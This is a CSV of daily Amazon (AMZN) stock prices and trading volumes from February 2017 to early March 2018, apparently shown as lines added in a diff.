+2017-02-01,829.2100219726562,833.780029296875,824.9400024414062,832.3499755859375,832.3499755859375,3850200,AMZN
+2017-02-02,836.5900268554688,842.489990234375,828.260009765625,839.9500122070312,839.9500122070312,7350500,AMZN
+2017-02-03,806.719970703125,818.2999877929688,804.0,810.2000122070312,810.2000122070312,10868800,AMZN
+2017-02-06,809.7999877929688,810.719970703125,803.0,807.6400146484375,807.6400146484375,3897300,AMZN
+2017-02-07,809.3099975585938,816.1599731445312,807.5,812.5,812.5,3466100,AMZN
+2017-02-08,812.6900024414062,821.47998046875,812.5,819.7100219726562,819.7100219726562,2858000,AMZN
+2017-02-09,821.5999755859375,825.0,819.7100219726562,821.3599853515625,821.3599853515625,2484900,AMZN
+2017-02-10,823.8200073242188,828.0,822.8499755859375,827.4600219726562,827.4600219726562,2429600,AMZN
+2017-02-13,831.6199951171875,843.0,828.5499877929688,836.530029296875,836.530029296875,4172600,AMZN
+2017-02-14,837.0,838.3099975585938,831.4500122070312,836.3900146484375,836.3900146484375,2792400,AMZN
+2017-02-15,834.0,842.8099975585938,832.8200073242188,842.7000122070312,842.7000122070312,2968900,AMZN
+2017-02-16,841.8400268554688,845.0,839.3800048828125,844.1400146484375,844.1400146484375,2714700,AMZN
+2017-02-17,842.0,847.27001953125,840.72998046875,845.0700073242188,845.0700073242188,3112300,AMZN
+2017-02-21,848.8400268554688,857.97998046875,847.25,856.4400024414062,856.4400024414062,3507700,AMZN
+2017-02-22,856.9500122070312,858.4299926757812,852.1799926757812,855.6099853515625,855.6099853515625,2617000,AMZN
+2017-02-23,857.5700073242188,860.8599853515625,848.0,852.1900024414062,852.1900024414062,3462000,AMZN
+2017-02-24,844.6900024414062,845.8099975585938,837.75,845.239990234375,845.239990234375,3688000,AMZN
+2017-02-27,842.3800048828125,852.5,839.6699829101562,848.6400146484375,848.6400146484375,2713600,AMZN
+2017-02-28,851.4500122070312,854.0900268554688,842.0499877929688,845.0399780273438,845.0399780273438,2793700,AMZN
+2017-03-01,853.0499877929688,854.8300170898438,849.010009765625,853.0800170898438,853.0800170898438,2760100,AMZN
+2017-03-02,853.0800170898438,854.8200073242188,847.280029296875,848.9099731445312,848.9099731445312,2132100,AMZN
+2017-03-03,847.2000122070312,851.989990234375,846.27001953125,849.8800048828125,849.8800048828125,1941100,AMZN
+2017-03-06,845.22998046875,848.489990234375,841.1199951171875,846.6099853515625,846.6099853515625,2610400,AMZN
+2017-03-07,845.47998046875,848.4600219726562,843.75,846.02001953125,846.02001953125,2247600,AMZN
+2017-03-08,848.0,853.0700073242188,846.7899780273438,850.5,850.5,2286500,AMZN
+2017-03-09,851.0,856.4000244140625,850.3099975585938,853.0,853.0,2048200,AMZN
+2017-03-10,857.0,857.3499755859375,851.719970703125,852.4600219726562,852.4600219726562,2436400,AMZN
+2017-03-13,851.77001953125,855.6900024414062,851.7100219726562,854.5900268554688,854.5900268554688,1909700,AMZN
+2017-03-14,853.5499877929688,853.75,847.5499877929688,852.530029296875,852.530029296875,2130600,AMZN
+2017-03-15,854.3300170898438,854.4500122070312,847.1099853515625,852.969970703125,852.969970703125,2562200,AMZN
+2017-03-16,855.2999877929688,855.5,850.510009765625,853.4199829101562,853.4199829101562,1842300,AMZN
+2017-03-17,853.489990234375,853.8300170898438,850.6400146484375,852.3099975585938,852.3099975585938,3384400,AMZN
+2017-03-20,851.510009765625,857.7999877929688,851.010009765625,856.969970703125,856.969970703125,2282700,AMZN
+2017-03-21,858.8400268554688,862.7999877929688,841.3099975585938,843.2000122070312,843.2000122070312,4382900,AMZN
+2017-03-22,840.4299926757812,849.3699951171875,839.0499877929688,848.0599975585938,848.0599975585938,2658700,AMZN
+2017-03-23,848.2000122070312,850.8900146484375,844.7999877929688,847.3800048828125,847.3800048828125,1953000,AMZN
+2017-03-24,851.6799926757812,851.7999877929688,843.530029296875,845.6099853515625,845.6099853515625,2138300,AMZN
+2017-03-27,838.0700073242188,850.2999877929688,833.5,846.8200073242188,846.8200073242188,2755800,AMZN
+2017-03-28,851.75,858.4600219726562,850.0999755859375,856.0,856.0,3041600,AMZN
+2017-03-29,859.0499877929688,876.4400024414062,859.02001953125,874.3200073242188,874.3200073242188,4485800,AMZN
+2017-03-30,874.9500122070312,877.0599975585938,871.6599731445312,876.3400268554688,876.3400268554688,2762700,AMZN
+2017-03-31,877.0,890.3499755859375,876.6500244140625,886.5399780273438,886.5399780273438,3957600,AMZN
+2017-04-03,888.0,893.489990234375,885.4199829101562,891.510009765625,891.510009765625,3422300,AMZN
+2017-04-04,891.5,908.5399780273438,890.280029296875,906.8300170898438,906.8300170898438,4984700,AMZN
+2017-04-05,910.8200073242188,923.719970703125,905.6199951171875,909.280029296875,909.280029296875,7508400,AMZN
+2017-04-06,913.7999877929688,917.1900024414062,894.489990234375,898.280029296875,898.280029296875,6344100,AMZN
+2017-04-07,899.6500244140625,900.0900268554688,889.3099975585938,894.8800048828125,894.8800048828125,3710900,AMZN
+2017-04-10,899.6300048828125,908.510009765625,899.0,907.0399780273438,907.0399780273438,3184300,AMZN
+2017-04-11,907.0399780273438,911.239990234375,897.5,902.3599853515625,902.3599853515625,3012700,AMZN
+2017-04-12,903.0900268554688,904.0900268554688,895.25,896.22998046875,896.22998046875,2456100,AMZN
+2017-04-13,891.4500122070312,894.969970703125,884.489990234375,884.6699829101562,884.6699829101562,3174600,AMZN
+2017-04-17,887.5,902.3800048828125,887.5,901.989990234375,901.989990234375,2854700,AMZN
+2017-04-18,900.989990234375,909.6099853515625,900.780029296875,903.780029296875,903.780029296875,2999200,AMZN
+2017-04-19,907.8400268554688,910.5,897.3699951171875,899.2000122070312,899.2000122070312,2870200,AMZN
+2017-04-20,899.7000122070312,905.3200073242188,896.2899780273438,902.0599975585938,902.0599975585938,2814400,AMZN
+2017-04-21,902.6699829101562,903.6500244140625,896.77001953125,898.530029296875,898.530029296875,2420500,AMZN
+2017-04-24,908.6799926757812,909.989990234375,903.8200073242188,907.4099731445312,907.4099731445312,3122900,AMZN
+2017-04-25,907.0399780273438,909.47998046875,903.0,907.6199951171875,907.6199951171875,3380600,AMZN
+2017-04-26,910.2999877929688,915.75,907.5599975585938,909.2899780273438,909.2899780273438,2608900,AMZN
+2017-04-27,914.3900146484375,921.8599853515625,912.1099853515625,918.3800048828125,918.3800048828125,5305500,AMZN
+2017-04-28,948.8300170898438,949.5900268554688,924.3300170898438,924.989990234375,924.989990234375,7364700,AMZN
+2017-05-01,927.7999877929688,954.4000244140625,927.7999877929688,948.22998046875,948.22998046875,5466500,AMZN
+2017-05-02,946.6500244140625,950.0999755859375,941.4099731445312,946.9400024414062,946.9400024414062,3848800,AMZN
+2017-05-03,946.0,946.0,935.9000244140625,941.030029296875,941.030029296875,3582700,AMZN
+2017-05-04,944.75,945.0,934.219970703125,937.530029296875,937.530029296875,2418400,AMZN
+2017-05-05,940.52001953125,940.7899780273438,930.2999877929688,934.1500244140625,934.1500244140625,2866400,AMZN
+2017-05-08,940.9500122070312,949.0499877929688,939.2100219726562,949.0399780273438,949.0399780273438,3415700,AMZN
+2017-05-09,952.7999877929688,957.8900146484375,950.2000122070312,952.8200073242188,952.8200073242188,3262100,AMZN
+2017-05-10,953.5,953.75,945.0,948.9500122070312,948.9500122070312,2096500,AMZN
+2017-05-11,945.1099853515625,950.2899780273438,940.780029296875,947.6199951171875,947.6199951171875,2194100,AMZN
+2017-05-12,954.5,962.7899780273438,951.530029296875,961.3499755859375,961.3499755859375,3625900,AMZN
+2017-05-15,958.72998046875,963.1500244140625,956.0599975585938,957.969970703125,957.969970703125,4270600,AMZN
+2017-05-16,961.0,970.0599975585938,960.9099731445312,966.0700073242188,966.0700073242188,3126100,AMZN
+2017-05-17,954.7000122070312,960.4000244140625,944.1199951171875,944.760009765625,944.760009765625,5145600,AMZN
+2017-05-18,944.7999877929688,962.75,944.760009765625,958.489990234375,958.489990234375,3939300,AMZN
+2017-05-19,962.8400268554688,968.9199829101562,959.719970703125,959.8400268554688,959.8400268554688,3972100,AMZN
+2017-05-22,964.0,971.3800048828125,962.9000244140625,970.6699829101562,970.6699829101562,2642200,AMZN
+2017-05-23,975.02001953125,975.2000122070312,966.8499755859375,971.5399780273438,971.5399780273438,2415600,AMZN
+2017-05-24,976.0,981.0,970.22998046875,980.3499755859375,980.3499755859375,2446000,AMZN
+2017-05-25,984.8499755859375,999.0,982.1099853515625,993.3800048828125,993.3800048828125,4822000,AMZN
+2017-05-26,995.0,998.6500244140625,989.25,995.780029296875,995.780029296875,3469200,AMZN
+2017-05-30,996.510009765625,1001.2000122070312,995.52001953125,996.7000122070312,996.7000122070312,3263100,AMZN
+2017-05-31,1000.0,1000.1199951171875,982.1599731445312,994.6199951171875,994.6199951171875,3913100,AMZN
+2017-06-01,998.5900268554688,998.989990234375,991.3699951171875,995.9500122070312,995.9500122070312,2454800,AMZN
+2017-06-02,998.989990234375,1008.47998046875,995.6699829101562,1006.72998046875,1006.72998046875,3752300,AMZN
+2017-06-05,1007.22998046875,1013.2100219726562,1003.510009765625,1011.3400268554688,1011.3400268554688,2719900,AMZN
+2017-06-06,1012.0,1016.5,1001.25,1003.0,1003.0,3346400,AMZN
+2017-06-07,1005.9500122070312,1010.25,1002.0,1010.0700073242188,1010.0700073242188,2823000,AMZN
+2017-06-08,1012.0599975585938,1013.6099853515625,1006.1099853515625,1010.27001953125,1010.27001953125,2767900,AMZN
+2017-06-09,1012.5,1012.989990234375,927.0,978.3099975585938,978.3099975585938,7647700,AMZN
+2017-06-12,967.0,975.9500122070312,945.0,964.9099731445312,964.9099731445312,9447200,AMZN
+2017-06-13,977.989990234375,984.5,966.0999755859375,980.7899780273438,980.7899780273438,4580000,AMZN
+2017-06-14,988.5900268554688,990.3400268554688,966.7100219726562,976.469970703125,976.469970703125,3974900,AMZN
+2017-06-15,958.7000122070312,965.72998046875,950.8599853515625,964.1699829101562,964.1699829101562,5373900,AMZN
+2017-06-16,996.0,999.75,982.0,987.7100219726562,987.7100219726562,11472700,AMZN
+2017-06-19,1017.0,1017.0,989.9000244140625,995.1699829101562,995.1699829101562,5043400,AMZN
+2017-06-20,998.0,1004.8800048828125,992.02001953125,992.5900268554688,992.5900268554688,4076800,AMZN
+2017-06-21,998.7000122070312,1002.719970703125,992.6500244140625,1002.22998046875,1002.22998046875,2922500,AMZN
+2017-06-22,1002.22998046875,1006.9600219726562,997.2000122070312,1001.2999877929688,1001.2999877929688,2253400,AMZN
+2017-06-23,1002.5399780273438,1004.6199951171875,998.02001953125,1003.739990234375,1003.739990234375,2879100,AMZN
+2017-06-26,1008.5,1009.7999877929688,992.0,993.97998046875,993.97998046875,3386200,AMZN
+2017-06-27,990.6900024414062,998.7999877929688,976.0,976.780029296875,976.780029296875,3782400,AMZN
+2017-06-28,978.5499877929688,990.6799926757812,969.2100219726562,990.3300170898438,990.3300170898438,3737600,AMZN
+2017-06-29,979.0,987.5599975585938,965.25,975.9299926757812,975.9299926757812,4303000,AMZN
+2017-06-30,980.1199951171875,983.469970703125,967.6099853515625,968.0,968.0,3390300,AMZN
+2017-07-03,972.7899780273438,974.489990234375,951.0,953.6599731445312,953.6599731445312,2909100,AMZN
+2017-07-05,961.530029296875,975.0,955.25,971.4000244140625,971.4000244140625,3653000,AMZN
+2017-07-06,964.6599731445312,974.4000244140625,959.02001953125,965.1400146484375,965.1400146484375,3259600,AMZN
+2017-07-07,969.5499877929688,980.1099853515625,969.1400146484375,978.760009765625,978.760009765625,2643400,AMZN
+2017-07-10,985.0,999.4400024414062,983.5,996.469970703125,996.469970703125,3546300,AMZN
+2017-07-11,993.0,995.989990234375,983.719970703125,994.1300048828125,994.1300048828125,2982700,AMZN
+2017-07-12,1000.6500244140625,1008.5499877929688,998.0999755859375,1006.510009765625,1006.510009765625,3608600,AMZN
+2017-07-13,1004.6199951171875,1006.8800048828125,995.9000244140625,1000.6300048828125,1000.6300048828125,2880800,AMZN
+2017-07-14,1002.4000244140625,1004.4500122070312,996.8900146484375,1001.8099975585938,1001.8099975585938,2102500,AMZN
+2017-07-17,1004.6900024414062,1014.75,1003.8099975585938,1010.0399780273438,1010.0399780273438,3712600,AMZN
+2017-07-18,1006.0,1026.030029296875,1004.0,1024.449951171875,1024.449951171875,4007600,AMZN
+2017-07-19,1025.0,1031.5899658203125,1022.5,1026.8699951171875,1026.8699951171875,2964000,AMZN
+2017-07-20,1031.5899658203125,1034.969970703125,1022.52001953125,1028.699951171875,1028.699951171875,3097500,AMZN
+2017-07-21,1021.280029296875,1026.0999755859375,1011.0,1025.6700439453125,1025.6700439453125,2734600,AMZN
+2017-07-24,1028.3399658203125,1043.010009765625,1027.4300537109375,1038.949951171875,1038.949951171875,3288000,AMZN
+2017-07-25,1038.050048828125,1043.3299560546875,1032.47998046875,1039.8699951171875,1039.8699951171875,2447600,AMZN
+2017-07-26,1043.199951171875,1053.199951171875,1043.199951171875,1052.800048828125,1052.800048828125,2921300,AMZN
+2017-07-27,1069.550048828125,1083.31005859375,1040.1800537109375,1046.0,1046.0,10991700,AMZN
+2017-07-28,1012.1400146484375,1032.8499755859375,1001.0,1020.0399780273438,1020.0399780273438,7709400,AMZN
+2017-07-31,1019.0499877929688,1019.0499877929688,987.02001953125,987.780029296875,987.780029296875,7352100,AMZN
+2017-08-01,996.1099853515625,1006.4000244140625,991.5800170898438,996.1900024414062,996.1900024414062,4572600,AMZN
+2017-08-02,1001.77001953125,1003.2100219726562,981.72998046875,995.8900146484375,995.8900146484375,4070000,AMZN
+2017-08-03,999.469970703125,999.5,984.5900268554688,986.9199829101562,986.9199829101562,3255800,AMZN
+2017-08-04,989.6799926757812,991.6699829101562,982.0,987.5800170898438,987.5800170898438,2730300,AMZN
+2017-08-07,990.6500244140625,995.0,987.1400146484375,992.27001953125,992.27001953125,2676600,AMZN
+2017-08-08,994.3499755859375,996.280029296875,985.7899780273438,989.8400268554688,989.8400268554688,2902800,AMZN
+2017-08-09,982.5999755859375,988.0,975.27001953125,982.010009765625,982.010009765625,3569700,AMZN
+2017-08-10,976.2999877929688,979.8599853515625,954.6799926757812,956.9199829101562,956.9199829101562,5684100,AMZN
+2017-08-11,960.0,970.3900146484375,951.3800048828125,967.989990234375,967.989990234375,3468000,AMZN
+2017-08-14,978.4099731445312,985.5,976.1900024414062,983.2999877929688,983.2999877929688,3172900,AMZN
+2017-08-15,988.9000244140625,991.739990234375,982.0,982.739990234375,982.739990234375,2549300,AMZN
+2017-08-16,981.6500244140625,986.4600219726562,973.219970703125,978.1799926757812,978.1799926757812,3132100,AMZN
+2017-08-17,977.8400268554688,977.8400268554688,960.3200073242188,960.5700073242188,960.5700073242188,3512400,AMZN
+2017-08-18,961.4000244140625,965.4299926757812,954.6500244140625,958.469970703125,958.469970703125,3284800,AMZN
+2017-08-21,957.5700073242188,961.2000122070312,945.4600219726562,953.2899780273438,953.2899780273438,3164500,AMZN
+2017-08-22,955.52001953125,967.9299926757812,955.5,966.9000244140625,966.9000244140625,2750000,AMZN
+2017-08-23,959.3800048828125,962.0,954.2000122070312,958.0,958.0,2668300,AMZN
+2017-08-24,957.4199829101562,959.0,941.1400146484375,952.4500122070312,952.4500122070312,5195700,AMZN
+2017-08-25,956.0,957.6199951171875,944.0999755859375,945.260009765625,945.260009765625,3324800,AMZN
+2017-08-28,946.5399780273438,953.0,942.25,946.02001953125,946.02001953125,2596700,AMZN
+2017-08-29,940.0,956.0,936.3300170898438,954.0599975585938,954.0599975585938,2874300,AMZN
+2017-08-30,958.4400024414062,969.4099731445312,956.9099731445312,967.5900268554688,967.5900268554688,2904600,AMZN
+2017-08-31,974.7000122070312,981.0,972.760009765625,980.5999755859375,980.5999755859375,3331500,AMZN
+2017-09-01,984.2000122070312,984.5,976.8800048828125,978.25,978.25,2535900,AMZN
+2017-09-05,975.4000244140625,976.77001953125,960.3699951171875,965.27001953125,965.27001953125,2883200,AMZN
+2017-09-06,968.3200073242188,971.8400268554688,960.5999755859375,967.7999877929688,967.7999877929688,2129900,AMZN
+2017-09-07,974.0,980.5900268554688,972.5499877929688,979.469970703125,979.469970703125,2566800,AMZN
+2017-09-08,979.0999755859375,979.8800048828125,963.469970703125,965.9000244140625,965.9000244140625,2605300,AMZN
+2017-09-11,974.4600219726562,981.9400024414062,974.219970703125,977.9600219726562,977.9600219726562,2186700,AMZN
+2017-09-12,983.27001953125,984.6699829101562,975.52001953125,982.5800170898438,982.5800170898438,2481100,AMZN
+2017-09-13,983.969970703125,1000.0,979.4199829101562,999.5999755859375,999.5999755859375,3374700,AMZN
+2017-09-14,996.7999877929688,998.5599975585938,987.739990234375,992.2100219726562,992.2100219726562,3913300,AMZN
+2017-09-15,993.010009765625,996.25,984.030029296875,986.7899780273438,986.7899780273438,3760200,AMZN
+2017-09-18,990.4000244140625,992.7899780273438,968.1699829101562,974.1900024414062,974.1900024414062,3411300,AMZN
+2017-09-19,977.25,978.239990234375,967.4600219726562,969.8599853515625,969.8599853515625,2671100,AMZN
+2017-09-20,971.7899780273438,974.8099975585938,962.1599731445312,973.2100219726562,973.2100219726562,2888800,AMZN
+2017-09-21,971.3099975585938,971.7000122070312,962.02001953125,964.6500244140625,964.6500244140625,2337600,AMZN
+2017-09-22,961.010009765625,965.6099853515625,954.4199829101562,955.0999755859375,955.0999755859375,2641800,AMZN
+2017-09-25,949.3099975585938,949.4199829101562,932.8900146484375,939.7899780273438,939.7899780273438,5124000,AMZN
+2017-09-26,945.489990234375,948.6300048828125,931.75,938.5999755859375,938.5999755859375,3564800,AMZN
+2017-09-27,948.0,955.2999877929688,943.2999877929688,950.8699951171875,950.8699951171875,3148900,AMZN
+2017-09-28,951.8599853515625,959.7000122070312,950.0999755859375,956.4000244140625,956.4000244140625,2522600,AMZN
+2017-09-29,960.1099853515625,964.8300170898438,958.3800048828125,961.3499755859375,961.3499755859375,2543800,AMZN
+2017-10-02,964.0,967.3099975585938,952.1199951171875,959.1900024414062,959.1900024414062,2442900,AMZN
+2017-10-03,958.0,963.6900024414062,950.3699951171875,957.0999755859375,957.0999755859375,2666600,AMZN
+2017-10-04,954.2100219726562,967.7899780273438,954.0499877929688,965.4500122070312,965.4500122070312,2527400,AMZN
+2017-10-05,970.0,981.510009765625,969.6400146484375,980.8499755859375,980.8499755859375,3229200,AMZN
+2017-10-06,975.6400146484375,995.75,975.6400146484375,989.5800170898438,989.5800170898438,3782100,AMZN
+2017-10-09,993.239990234375,998.5,987.5,990.989990234375,990.989990234375,2938600,AMZN
+2017-10-10,996.6699829101562,997.9500122070312,980.0999755859375,987.2000122070312,987.2000122070312,3084900,AMZN
+2017-10-11,991.27001953125,995.5,986.7000122070312,995.0,995.0,2337100,AMZN
+2017-10-12,996.8099975585938,1008.4400024414062,992.4000244140625,1000.9299926757812,1000.9299926757812,4067300,AMZN
+2017-10-13,1007.0,1007.77001953125,1001.030029296875,1002.9400024414062,1002.9400024414062,2431500,AMZN
+2017-10-16,1008.4400024414062,1009.5700073242188,1001.0399780273438,1006.3400268554688,1006.3400268554688,2008900,AMZN
+2017-10-17,1005.5900268554688,1011.469970703125,1004.3800048828125,1009.1300048828125,1009.1300048828125,2319700,AMZN
+2017-10-18,1009.27001953125,1022.3099975585938,996.5499877929688,997.0,997.0,2499700,AMZN
+2017-10-19,990.0,991.0499877929688,980.239990234375,986.6099853515625,986.6099853515625,3108200,AMZN
+2017-10-20,993.530029296875,994.6199951171875,982.0,982.9099731445312,982.9099731445312,2365100,AMZN
+2017-10-23,986.72998046875,986.780029296875,962.5,966.2999877929688,966.2999877929688,3494100,AMZN
+2017-10-24,969.0,979.8499755859375,965.0,975.9000244140625,975.9000244140625,2723900,AMZN
+2017-10-25,978.0,984.4400024414062,966.239990234375,972.9099731445312,972.9099731445312,3033100,AMZN
+2017-10-26,980.3300170898438,982.9000244140625,968.5499877929688,972.4299926757812,972.4299926757812,5618700,AMZN
+2017-10-27,1058.1400146484375,1105.5799560546875,1050.550048828125,1100.949951171875,1100.949951171875,16565000,AMZN
+2017-10-30,1095.010009765625,1122.7900390625,1093.56005859375,1110.8499755859375,1110.8499755859375,6613100,AMZN
+2017-10-31,1109.0,1110.5400390625,1101.1199951171875,1105.280029296875,1105.280029296875,3477000,AMZN
+2017-11-01,1105.4000244140625,1108.969970703125,1096.739990234375,1103.6800537109375,1103.6800537109375,3755500,AMZN
+2017-11-02,1097.81005859375,1101.93994140625,1086.8699951171875,1094.219970703125,1094.219970703125,3684900,AMZN
+2017-11-03,1091.1500244140625,1112.6800537109375,1088.52001953125,1111.5999755859375,1111.5999755859375,3751500,AMZN
+2017-11-06,1109.1500244140625,1125.4100341796875,1108.77001953125,1120.6600341796875,1120.6600341796875,3381100,AMZN
+2017-11-07,1124.739990234375,1130.5999755859375,1117.5,1123.1700439453125,1123.1700439453125,2689000,AMZN
+2017-11-08,1122.8199462890625,1135.5400390625,1119.1099853515625,1132.8800048828125,1132.8800048828125,2581500,AMZN
+2017-11-09,1125.9599609375,1129.6199951171875,1115.77001953125,1129.1300048828125,1129.1300048828125,3732700,AMZN
+2017-11-10,1126.0999755859375,1131.75,1124.06005859375,1125.3499755859375,1125.3499755859375,2179900,AMZN
+2017-11-13,1123.0,1139.9000244140625,1122.3399658203125,1129.1700439453125,1129.1700439453125,2918400,AMZN
+2017-11-14,1130.1099853515625,1138.0,1123.8900146484375,1136.8399658203125,1136.8399658203125,3138400,AMZN
+2017-11-15,1127.010009765625,1131.75,1121.6300048828125,1126.68994140625,1126.68994140625,3928700,AMZN
+2017-11-16,1130.1600341796875,1138.1600341796875,1130.050048828125,1137.2900390625,1137.2900390625,2213300,AMZN
+2017-11-17,1138.280029296875,1138.800048828125,1125.81005859375,1129.8800048828125,1129.8800048828125,2413400,AMZN
+2017-11-20,1129.77001953125,1133.4200439453125,1122.550048828125,1126.31005859375,1126.31005859375,2163900,AMZN
+2017-11-21,1132.8599853515625,1140.0,1128.199951171875,1139.489990234375,1139.489990234375,2479400,AMZN
+2017-11-22,1141.0,1160.27001953125,1141.0,1156.1600341796875,1156.1600341796875,3555300,AMZN
+2017-11-24,1160.699951171875,1186.8399658203125,1160.699951171875,1186.0,1186.0,3528000,AMZN
+2017-11-27,1202.6600341796875,1213.4100341796875,1191.1500244140625,1195.8299560546875,1195.8299560546875,6744000,AMZN
+2017-11-28,1204.8800048828125,1205.3399658203125,1188.52001953125,1193.5999755859375,1193.5999755859375,4559400,AMZN
+2017-11-29,1194.800048828125,1194.800048828125,1145.18994140625,1161.27001953125,1161.27001953125,9257500,AMZN
+2017-11-30,1167.0999755859375,1178.5699462890625,1160.0,1176.75,1176.75,4509200,AMZN
+2017-12-01,1172.050048828125,1179.6500244140625,1152.0,1162.3499755859375,1162.3499755859375,4107100,AMZN
+2017-12-04,1173.8499755859375,1175.199951171875,1128.0,1133.949951171875,1133.949951171875,5931900,AMZN
+2017-12-05,1128.260009765625,1159.27001953125,1124.739990234375,1141.5699462890625,1141.5699462890625,4079800,AMZN
+2017-12-06,1137.989990234375,1155.8900146484375,1136.0799560546875,1152.3499755859375,1152.3499755859375,2853300,AMZN
+2017-12-07,1156.5899658203125,1163.18994140625,1151.0,1159.7900390625,1159.7900390625,2511600,AMZN
+2017-12-08,1170.4000244140625,1172.7900390625,1157.0999755859375,1162.0,1162.0,3050100,AMZN
+2017-12-11,1164.5999755859375,1169.9000244140625,1157.0,1168.9200439453125,1168.9200439453125,2363500,AMZN
+2017-12-12,1166.510009765625,1173.5999755859375,1161.6099853515625,1165.0799560546875,1165.0799560546875,2235900,AMZN
+2017-12-13,1170.0,1170.8699951171875,1160.27001953125,1164.1300048828125,1164.1300048828125,2616800,AMZN
+2017-12-14,1163.7099609375,1177.9300537109375,1162.449951171875,1174.260009765625,1174.260009765625,3214300,AMZN
+2017-12-15,1179.030029296875,1182.75,1169.3299560546875,1179.1400146484375,1179.1400146484375,4778600,AMZN
+2017-12-18,1187.3699951171875,1194.780029296875,1180.9100341796875,1190.5799560546875,1190.5799560546875,2947600,AMZN
+2017-12-19,1189.1500244140625,1192.969970703125,1179.1400146484375,1187.3800048828125,1187.3800048828125,2587800,AMZN
+2017-12-20,1190.5,1191.0,1176.0,1177.6199951171875,1177.6199951171875,2371200,AMZN
+2017-12-21,1175.9000244140625,1179.1700439453125,1167.6400146484375,1174.760009765625,1174.760009765625,2123100,AMZN
+2017-12-22,1172.0799560546875,1174.6199951171875,1167.8299560546875,1168.3599853515625,1168.3599853515625,1585100,AMZN
+2017-12-26,1168.3599853515625,1178.3199462890625,1160.550048828125,1176.760009765625,1176.760009765625,2005200,AMZN
+2017-12-27,1179.9100341796875,1187.2900390625,1175.6099853515625,1182.260009765625,1182.260009765625,1867200,AMZN
+2017-12-28,1189.0,1190.0999755859375,1184.3800048828125,1186.0999755859375,1186.0999755859375,1841700,AMZN
+2017-12-29,1182.3499755859375,1184.0,1167.5,1169.469970703125,1169.469970703125,2688400,AMZN
+2018-01-02,1172.0,1190.0,1170.510009765625,1189.010009765625,1189.010009765625,2694500,AMZN
+2018-01-03,1188.300048828125,1205.489990234375,1188.300048828125,1204.199951171875,1204.199951171875,3108800,AMZN
+2018-01-04,1205.0,1215.8699951171875,1204.6600341796875,1209.5899658203125,1209.5899658203125,3022100,AMZN
+2018-01-05,1217.510009765625,1229.1400146484375,1210.0,1229.1400146484375,1229.1400146484375,3544700,AMZN
+2018-01-08,1236.0,1253.0799560546875,1232.030029296875,1246.8699951171875,1246.8699951171875,4279500,AMZN
+2018-01-09,1256.9000244140625,1259.3299560546875,1241.760009765625,1252.699951171875,1252.699951171875,3661300,AMZN
+2018-01-10,1245.1500244140625,1254.3299560546875,1237.22998046875,1254.3299560546875,1254.3299560546875,2686000,AMZN
+2018-01-11,1259.739990234375,1276.77001953125,1256.4599609375,1276.6800537109375,1276.6800537109375,3125000,AMZN
+2018-01-12,1273.3900146484375,1305.760009765625,1273.3900146484375,1305.199951171875,1305.199951171875,5443700,AMZN
+2018-01-16,1323.0,1339.93994140625,1292.300048828125,1304.8599853515625,1304.8599853515625,7220700,AMZN
+2018-01-17,1312.239990234375,1314.0,1280.8800048828125,1295.0,1295.0,5253800,AMZN
+2018-01-18,1293.949951171875,1304.5999755859375,1284.02001953125,1293.3199462890625,1293.3199462890625,4026900,AMZN
+2018-01-19,1312.0,1313.0,1292.989990234375,1294.5799560546875,1294.5799560546875,4578500,AMZN
+2018-01-22,1297.1700439453125,1327.449951171875,1296.6600341796875,1327.31005859375,1327.31005859375,4140100,AMZN
+2018-01-23,1338.0899658203125,1364.9000244140625,1337.3399658203125,1362.5400390625,1362.5400390625,5169300,AMZN
+2018-01-24,1374.8199462890625,1388.1600341796875,1338.0,1357.510009765625,1357.510009765625,6807500,AMZN
+2018-01-25,1368.0,1378.3399658203125,1357.6199951171875,1377.949951171875,1377.949951171875,4753000,AMZN
+2018-01-26,1392.010009765625,1402.530029296875,1380.9100341796875,1402.050048828125,1402.050048828125,4857300,AMZN
+2018-01-29,1409.1800537109375,1431.3900146484375,1400.43994140625,1417.6800537109375,1417.6800537109375,5701900,AMZN
+2018-01-30,1403.1700439453125,1439.25,1392.0,1437.8199462890625,1437.8199462890625,5871900,AMZN
+2018-01-31,1451.300048828125,1472.5799560546875,1450.0400390625,1450.8900146484375,1450.8900146484375,6424700,AMZN
+2018-02-01,1445.0,1459.8800048828125,1385.1400146484375,1390.0,1390.0,9113800,AMZN
+2018-02-02,1477.3900146484375,1498.0,1414.0,1429.949951171875,1429.949951171875,11125700,AMZN
+2018-02-05,1402.6199951171875,1458.97998046875,1320.719970703125,1390.0,1390.0,11495000,AMZN
+2018-02-06,1361.4599609375,1443.989990234375,1351.7900390625,1442.8399658203125,1442.8399658203125,11066800,AMZN
+2018-02-07,1449.0,1460.989990234375,1415.1500244140625,1416.780029296875,1416.780029296875,7162700,AMZN
+2018-02-08,1429.6800537109375,1433.75,1349.93994140625,1350.5,1350.5,8578600,AMZN
+2018-02-09,1373.489990234375,1383.5,1265.9300537109375,1339.5999755859375,1339.5999755859375,14141500,AMZN
+2018-02-12,1364.6700439453125,1393.81005859375,1344.010009765625,1386.22998046875,1386.22998046875,6738900,AMZN
+2018-02-13,1385.9300537109375,1419.719970703125,1383.530029296875,1414.510009765625,1414.510009765625,5917900,AMZN
+2018-02-14,1406.25,1452.06005859375,1403.3599853515625,1451.050048828125,1451.050048828125,5959200,AMZN
+2018-02-15,1466.8900146484375,1468.93994140625,1436.8399658203125,1461.760009765625,1461.760009765625,5652700,AMZN
+2018-02-16,1457.3699951171875,1465.800048828125,1446.56005859375,1448.68994140625,1448.68994140625,4472600,AMZN
+2018-02-20,1446.489990234375,1488.77001953125,1446.489990234375,1468.3499755859375,1468.3499755859375,6499200,AMZN
+2018-02-21,1485.0,1503.489990234375,1478.9200439453125,1482.9200439453125,1482.9200439453125,6304400,AMZN
+2018-02-22,1495.3599853515625,1502.5400390625,1475.760009765625,1485.3399658203125,1485.3399658203125,4858100,AMZN
+2018-02-23,1495.3399658203125,1500.0,1486.5,1500.0,1500.0,4418100,AMZN
+2018-02-26,1509.199951171875,1522.8399658203125,1507.0,1521.949951171875,1521.949951171875,4955000,AMZN
+2018-02-27,1524.5,1526.780029296875,1507.2099609375,1511.97998046875,1511.97998046875,4808800,AMZN
+2018-02-28,1519.510009765625,1528.699951171875,1512.0,1512.449951171875,1512.449951171875,4515000,AMZN
+2018-03-01,1513.5999755859375,1518.489990234375,1465.0,1493.449951171875,1493.449951171875,6835200,AMZN
+2018-03-02,1469.0999755859375,1501.050048828125,1455.010009765625,1500.25,1500.25,6587600,AMZN
+2018-03-05,1494.239990234375,1525.3800048828125,1481.0,1523.6099853515625,1523.6099853515625,5233900,AMZN
